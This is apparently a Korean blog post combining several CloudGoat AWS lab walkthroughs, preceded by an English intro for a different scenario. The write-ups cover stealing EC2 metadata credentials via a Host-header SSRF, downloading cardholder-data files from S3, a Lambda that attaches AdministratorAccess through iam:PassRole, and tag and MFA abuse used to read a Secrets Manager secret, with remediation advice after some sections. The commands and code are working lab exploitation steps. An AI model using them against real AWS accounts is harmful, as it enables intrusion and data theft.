1) you start as the 'bilbo' user 2) You will assume a role with more privileges 3) discover a lambda function that applies policies to users 4) and exploit a vulnerability in the function to escalate the privileges of the bilbo user in order to search for secrets.
이 문제는 취약한 EC2 metadata 설정을 이용하여 S3 버킷 내의 파일을 탈취하는 문제입니다.
문제 풀이
0. 환경 설정
# ---------- 0. 환경 구성 완료 및 처음 주어진 정보 ----------
cloudgoat create cloud_breach_s3
cat start.txt
# 출력결과
cloudgoat_output_aws_account_id = 739275444311
cloudgoat_output_target_ec2_server_ip = 3.91.238.169
1. EC2 meta-data 확인
잘못 설정된 EC2 meta-data를 통해 Access Key를 확인합니다.
# ---------- 1. EC2 metadata 확인 ----------### 전달 받은 EC2 CURL 요청 ###
curl -X GET http://3.91.238.169
# 출력결과
<h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>
### Host 헤더를 수정하여 재요청 ###
curl -X GET -H "Host: 169.254.169.254" http://3.91.238.169/latest/meta-data
# 출력결과
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
### meta-data/iam/security-credentials/ 경로 확인 ###
http://3.91.238.169/latest/meta-data/iam/security-credentials/
# 출력결과
cg-banking-WAF-Role-cgid0p8gsml3ep
### 역할에 대한 Access Key 확인 ###
curl -X GET -H "Host: 169.254.169.254" http://3.91.238.169/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgid0p8gsml3ep
2. 역할 전환 및 데이터 다운로드
역할에 대한 Access Key를 확인했으면 AWS Cli를 사용하기 위해 새로운 프로파일을 생성합니다.
그리고 새로운 프로파일을 이용하여 S3 데이터를 조회하고 다운로드 하면 됩니다.
# ---------- 2. 역할 전환 및 버킷 조회 그리고 데이터 다운로드 ----------### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set --profile cloud_breach_s3 aws_access_key_id <aws_access_key_id>
aws configure set --profile cloud_breach_s3 aws_secret_access_key <aws_secret_access_key>
aws configure set --profile cloud_breach_s3 aws_session_token <aws_session_token>
### 역할 전환 후 S3 버킷 조회###
aws s3 ls --profile cloud_breach_s3
# 출력결과
2025-04-10 05:24:41 cg-cardholder-data-bucket-cgid0p8gsml3ep
### S3 버킷 내부 조회 ###
aws s3 ls s3://cg-cardholder-data-bucket-cgid0p8gsml3ep \
--recursive \
--profile cloud_breach_s3
# 출력결과
2025-04-10 05:24:46 58872 cardholder_data_primary.csv
2025-04-10 05:24:46 59384 cardholder_data_secondary.csv
2025-04-10 05:24:46 92165 cardholders_corporate.csv
2025-04-10 05:24:47 249500 goat.png
### 다운로드 받을 폴더 생성 ###
mkdir s3_download
### 버킷에 있는 데이터 한번에 다운로드 ###
aws s3 cp s3://cg-cardholder-data-bucket-cgid0p8gsml3ep ./s3_download --recursive --profile cloud_breach_s3
# 출력결과
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/cardholder_data_primary.csv to s3_download/cardholder_data_primary.csv
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/cardholder_data_secondary.csv to s3_download/cardholder_data_secondary.csv
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/cardholders_corporate.csv to s3_download/cardholders_corporate.csv
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/goat.png to s3_download/goat.png
아래 사진은 S3 버킷 내에 있는 정보를 다운로드 한 결과입니다.
S3 bucket 오브젝트 다운로드 결과
Docker를 통해 cloudgoat를 실행했는데 사진 파일 확인을 위해 사진을 로컬로 옮겨야 하는 경우
아래와 같이 도커에서 로컬로 파일을 옮길 수 있습니다.
### 컨테이너 조회 ###
docker ps -a
### Docker에 있는 파일 로컬로 옮기기 ###
docker cp <컨테이너 네임>:<Docker내 파일 경로>/goat.png <Local 경로>
goat.png
보안 개선 방안
1. EC2 메타데이터 - IMDSv2만 허용하도록 설정
- http-token required -> IMDSv2 전용 사용
- hop-limit -> SSRF 방지에 유용 (EC2 외부에서 메타데이터에 접근 불가)
2. EC2 메타데이터 - 서버측 요청 위조 SSRF(server side request forgery) 방어
- 공격자가 SSRF 기법으로 http://169.254.169.254/latest/meta-data/ 에 접근하여 임시 자격 증명 탈취함
#-------------------- 0. 시작 환경 설정 --------------------### 시작 계정(Chris) Access Key 확인 ###
cat start.txt
### 프로파일 생성 ###
aws configure --profile lambda_privesc
Chris에 붙어있는 유저 정책을 확인해보면 iam 서비스와 sts 역할 전환을 할 수 있습니다.
#-------------------- 1.1 현재 소유 권한 분석 - Policy --------------------### 계정 리스트 확인 ###
aws iam list-users --profile lambda_privesc
### chris 에게 적용된 AWS 관리 정책 (manager 요청) ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
"PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
}
]
}
### chris 에게 적용된 User 관리 정책 (lambda_privesc 요청) ###
aws iam list-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"PolicyNames": []
}
### cg-chris-policy-cgidnsyro2hx1n 정책 확인 ###
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n --version-id v1 --profile lambda_privesc
# 출력결과
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"sts:AssumeRole",
"iam:List*",
"iam:Get*"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "chris"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-04-03T08:13:29+00:00"
}
}
1. 소유 권한 분석
2개의 역할(debug-role, lambdaManager-role)을 확인해 보면
1. debug-role은 관리자 권한(AdministratorAccess)이 할당되어 있고
2. lambdaManager-role에는 iam:PassRole와 lambda:*에 대한 권한이 할당되어 있습니다.
이 문제는 lambdaManager-role에 할당된 iam:PassRole을 이용하여 lambda 함수로 debug-role 역할을 전달한 후 debug-role 이 가지고 있는 관리자권한을 이용하여 다른 유저(Chris)의 권한을 상승시키는 취약점을 활용한 문제 입니다.
Chris 유저가 가지고 있는 역할 전환 권한을 이용하여 lambdaManager-role로 역할 전환하고 새로운 프로파일을 만듭니다.
#-------------------- 2. 역할 전환 및 Role 프로파일 생성 ### --------------------### 역할 전환 (lambdaManager) ###
aws sts assume-role --role-arn arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n --role-session-name Chris --profile lambda_privesc
### 역할 전환 프로파일 생성 ###
aws configure set --profile role_LambdaManager aws_access_key_id <access_key>
aws configure set --profile role_LambdaManager aws_secret_access_key <secret_key>
aws configure set --profile role_LambdaManager aws_session_token <session_token>
3. 람다 함수 생성 및 관리자권한 획득
Chris 사용자에게 관리자권한을 추가하는 lambda 함수를 작성 후 lambda 함수를 생성하고 실행합니다.
이 모든 과정은 LambdaManager 역할로 수행합니다.
Lambda 함수가 정상적으로 실행된 후 Chris가 소유하고 있는 권한을 재확인해보면 관리자 권한을 소유하고 있음이 확인됩니다.
#-------------------- 3. Lambda 함수 생성 및 실행하여 관리자 권한 획득 ### --------------------### 관리자 권한 획득을 위한 Lambda 함수 - 코드 생성 #### 파일명 : lambda_function.py
import boto3
def lambda_handler(event, context):
iam = boto3.client('iam')
# 사용자 이름과 정책 ARN 설정
user_name = 'chris-cgidnsyro2hx1n'# 사용자이름
policy_arn = 'arn:aws:iam::aws:policy/AdministratorAccess'
try:
# 정책 attach 실행
iam.attach_user_policy(
UserName=user_name,
PolicyArn=policy_arn
)
return {
'status': 'Success',
'message': f'Attached AdministratorAccess to user {user_name}'
}
except Exception as e:
return {
'status': 'Error',
'message': str(e)
}
### .py 코드 zip 파일 변환 ###
zip function.zip lambda_function.py
### lambda 함수 생성 ###
aws lambda create-function \
--function-name PrivilegeAttack1 \
--runtime python3.12 \
--role arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip \
--profile role_LambdaManager
### lambda 함수 실행 ###
aws lambda invoke \
--function-name PrivilegeAttack1 \
--payload '{}' \
response.json \
--profile role_LambdaManager
### chris 에게 적용된 AWS 관리 정책 확인 - 관리자 권한 획득 ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
},
{
"PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
"PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
}
]
}
<권한 상승 취약점을 활용한 관리자 권환 획득>
관리자 권한 상승 - 성공
내용이 유용하셨다면 좋아요&댓글 부탁드립니다. 이 블로그를 이끌어갈 수 있는 강력한 힘입니다!
문제는 IAM에서 User 3개, Role 1개, Secret Manager 서비스에서 1개의 Secret이 생성되고 그 값을 알아내면 됩니다.
시작은 manager부터 시작하면 됩니다.
문제 Github - Readme
문제 풀이
시작 지점은 manager 부터 시작하라고 Read me 페이지에 나와있으니 start.txt를 확인합니다.
확인하면 manager에 대한 Access Key와 Secret Key가 보입니다.
manager access key
위 Access Key를 이용하여 AWS CLI를 사용할 수 있게 다음과 같은 명령어를 입력하여 manager 프로파일을 생성하면 됩니다.
aws configure --profile manager
1. 권한 분석 (현재 소유 권한)
manager 유저의 정책 Policy를 분석해보겠습니다.
1) manager 유저는 사용자에게 Tag를 붙일 수 있고 Access Key를 생성/삭제 할 수 있습니다.
- 이 점을 이용하면 manager 유저는 admin 유저 권한을 획득 가능합니다.
2) manager 유저는 가상MFA디바이스를 생성하고 적용할 수 있습니다.
- 이 점을 이용하면 admin 유저는 Secret Manager 서비스로 역할 전환이 가능하고 Secret 값을 획득할 수 있습니다.
#-------------------- 1. 현재 권한 분석 과정 --------------------### 계정 리스트 확인 ###
aws iam list-users --profile manager
### manager 에게 적용된 AWS 관리 정책 (manager 요청) ###
aws iam list-attached-user-policies --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "IAMReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
}
]
}
### manager 에게 적용된 User 관리 정책 (manager 요청) ###
aws iam list-user-policies --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
"PolicyNames": [
"SelfManageAccess",
"TagResources"
]
}
### SelfManageAccess 정책 확인 ###
aws iam get-user-policy --policy-name SelfManageAccess --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
"UserName": "manager_cgidl7mh6zo0vx",
"PolicyName": "SelfManageAccess",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:DeactivateMFADevice",
"iam:GetMFADevice",
"iam:EnableMFADevice",
"iam:ResyncMFADevice",
"iam:DeleteAccessKey",
"iam:UpdateAccessKey",
"iam:CreateAccessKey"
],
"Condition": {
"StringEquals": {
"aws:ResourceTag/developer": "true"
}
},
"Effect": "Allow",
"Resource": [
"arn:aws:iam::739275444311:user/*",
"arn:aws:iam::739275444311:mfa/*"
],
"Sid": "SelfManageAccess"
},
{
"Action": [
"iam:DeleteVirtualMFADevice",
"iam:CreateVirtualMFADevice"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::739275444311:mfa/*",
"Sid": "CreateMFA"
}
]
}
}
### TagResources 정책 확인 ###
aws iam get-user-policy --policy-name TagResources --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
"UserName": "manager_cgidl7mh6zo0vx",
"PolicyName": "TagResources",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:UntagUser",
"iam:UntagRole",
"iam:TagRole",
"iam:UntagMFADevice",
"iam:UntagPolicy",
"iam:TagMFADevice",
"iam:TagPolicy",
"iam:TagUser"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "TagResources"
}
]
}
}
2. Admin 권한 획득
#-------------------- 2. Admin 권한 획득 과정 --------------------### admin 계정에 developer:true 태그 붙이기 ###
aws iam tag-user --user-name admin_cgidl7mh6zo0vx --tags Key=developer,Value=true --profile manager
### admin 계정 태그 조회 ###
aws iam list-user-tags --user-name admin_cgidl7mh6zo0vx --profile manager
### admin 유저 Access Key 삭제 후 생성 ###
aws iam delete-access-key --access-key-id <access-key> --user-name admin_cgidl7mh6zo0vx --profile manager
aws iam create-access-key --user-name admin_cgidl7mh6zo0vx --profile manager
### admin 프로파일 생성 ###
aws configure --profile privesc_admin
3. MFA 디바이스 생성 & Secret Manager 역할 전환 & Secret 값 획득
#-------------------- 3. MFA 디바이스 생성 후 Secret Manager 역할 전환 하고 Secret 값 획득 과정 --------------------### MFA 장치 생성 ###
aws iam create-virtual-mfa-device --virtual-mfa-device-name TestMFADevice --outfile ./QRCode.png --bootstrap-method QRCodePNG --profile manager
### MFA 활성화 ###
aws iam enable-mfa-device --user-name admin_cgidl7mh6zo0vx --serial-number arn:aws:iam::739275444311:mfa/TestMFADevice --authentication-code1 <Code1> --authentication-code2 <Code2> --profile manager
### 역할 전환 AssumeRoles ###
aws sts assume-role --role-arn "arn:aws:iam::739275444311:role/cg_secretsmanager_cgidl7mh6zo0vx" --role-session-name "admin_cgidl7mh6zo0vx" --serial-number arn:aws:iam::739275444311:mfa/TestMFADevice --token-code <Code> --profile privesc_admin
### AssumeRoles 통해 발급받은 AccessKey 프로파일 생성 ###
aws configure set --profile assume_role_secretsmanager aws_access_key_id <access_key>
aws configure set --profile assume_role_secretsmanager aws_secret_access_key <secret_key>
aws configure set --profile assume_role_secretsmanager aws_session_token <session_token>
### Secret Manager 서비스의 Secret 값 가져오기 ###
aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:739275444311:secret:cg_secret_cgidl7mh6zo0vx-lBTKcL --profile assume_role_secretsmanager
[보안 개선 방안]
1. MFA 비활성화 권한 제거 (iam:DeactivateMFADevice) 사용자가 자신의 MFA를 비활성화하지 못하도록 해당 권한을 삭제해야 합니다. 관리자가 직접 MFA 관리 역할을 수행하도록 권한을 위임하는 것이 바람직합니다.
2. 액세스 키 생성 및 삭제 권한 제한 iam:CreateAccessKey, iam:DeleteAccessKey 권한을 사용자에게 부여하는 것은 보안상 위험합니다. 대신 관리자가 필요할 때만 키를 생성하도록 제한하는 것이 좋습니다.
3. 태그 변경 권한 범위 제한 "Resource": "*"을 특정한 리소스 ARN으로 제한해야 합니다. 예를 들어, arn:aws:iam::739275444311:user/specific-user 같은 특정 사용자만 대상으로 하도록 변경하는 것이 좋습니다.
4. 태그 기반 접근 제어 강화 TagResources 정책에서 사용자가 IAM 사용자 태그를 수정할 수 없도록 제한해야 합니다. 예를 들어, iam:TagUser 및 iam:UntagUser 권한을 제거하면 태그 기반 접근 제어 정책을 우회하는 것을 방지할 수 있습니다.
5. IAM 정책 모니터링 및 로깅 AWS CloudTrail을 사용하여 iam:DeactivateMFADevice, iam:CreateAccessKey, iam:TagUser 등의 이벤트를 모니터링하고, 이상 징후가 발생하면 경고를 받을 수 있도록 설정해야 합니다.
내용이 유용하셨다면 좋아요&댓글 부탁드립니다. 이 블로그를 이끌어갈 수 있는 강력한 힘입니다!
